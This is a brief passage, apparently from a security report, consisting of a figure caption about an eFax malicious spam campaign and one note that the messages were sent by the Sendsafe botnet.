Figure2.17: eFax malicious spam campaign, Sendsafe botnet
Some factgoncerning this spam campaign:

1 Messages were sent by the Sendsafe botnet.
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